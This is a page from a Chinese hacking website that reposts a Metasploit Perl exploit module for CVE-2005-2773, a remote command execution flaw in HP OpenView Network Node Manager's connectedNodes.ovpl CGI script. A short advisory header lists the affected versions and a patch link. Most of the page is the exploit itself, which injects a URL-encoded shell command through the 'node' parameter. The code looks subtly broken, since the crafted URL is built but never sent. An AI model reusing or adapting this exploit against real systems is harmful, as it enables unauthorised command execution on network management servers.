| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> Exploit >> 文章正文 用户登录 新用户注册
  HP OpenView Network Node Manager Remote Command Execution Exploit          【字体:
HP OpenView Network Node Manager Remote Command Execution Exploit
作者:佚名    文章来源:CnXHacker.Net    点击数:    更新时间:2006-10-29    

------------------------------------------------------------------------------
名    称:HP OpenView Network Node Manager Remote Command Execution Exploit
漏洞资料:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2773
危险程度:高危
影响范围:
HP OpenView Network Node Manager version 6.2
HP OpenView Network Node Manager version 6.4
HP OpenView Network Node Manager version 7.01
HP OpenView Network Node Manager version 7.50 
解决办法:官方已经发布补丁--http://support.openview.hp.com/patches
相关介绍:http://itrc.hp.com/service/cki/docDisplay.do?docId=HPSBMA01224
备注:该漏洞影响到HP-UX、Solaris、Windows、Linux 等操作系统

------------------------------------------------------------------------------

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::openview_connectednodes_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
'Name' => 'HP OpenView connectedNodes.ovpl Command Execution',
'Version' => '$Revision: 1.2 $',
'Authors' => [ 'Valerio Tesei <valk@mojodo.it>' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'DIR' => [1, 'DATA', 'Directory of connectedNodes.ovpl script', '/cgi-bin/'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary command execution vulnerability in the
HP OpenView connectedNodes.ovpl CGI application. The results of the command
will not be displayed to the screen.
}),

'Refs' =>
[
['OSVDB', '19057'],
['BID', '14662'],
['CVE', '2005-2773'],
],

'Payload' =>
{
'Space' => 1024,
'Keys' => ['cmd'],
},

'Keys' => ['openview'],
'DisclosureDate' => 'Aug 25 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $dir = $self->GetVar('DIR');
my $cmd = $self->URLEncode( $self->GetVar('EncodedPayload')->RawPayload );

my $url = $dir.'connectedNodes.ovpl?node=%3B+'.$cmd.'+%7C+tr+%22%5Cn%22+%22%A3%22';

my $request =
"GET $dir HTTP/1.1\r\n".
"Accept: */*\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Host: $target_host:$target_port\r\n".
"Connection: Close\r\n".
"\r\n";

$self->PrintLine("[*] Establishing a connection to the target...");
my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}


$self->PrintLine("[*] Requesting connectedNodes.ovpl...");
$s->Send($request);

$self->PrintLine("[*] Executing command...");
my $results = $s->Recv(-1, 20);
$s->Close();

return;
}

sub URLEncode {
my $self = shift;
my $data = shift;
my $res;

foreach my $c (unpack('C*', $data)) {
if (
($c >= 0x30 && $c <= 0x39) ||
($c >= 0x41 && $c <= 0x5A) ||
($c >= 0x61 && $c <= 0x7A)
) {
$res .= chr($c);
} else {
$res .= sprintf("%%%.2x", $c);
}
}
return $res;
}

1;


文章录入:IceRiver    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    黑客攻防之PPPoE验证及利用
    HP-UX get_system_info的工具
    黑客隐藏PHP文件后门的技巧
    Cisco IOS中Secure Copy 实现
    Opera漏洞可助黑客远程攻破用
    acropdf - acropdf.dll - DL
    开源PHP 4支持今年底结束 升
    winspool.exe - winspool - 
    compobj - compobj.dll - DL
    用 DoorStop X来保护MAC操作
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.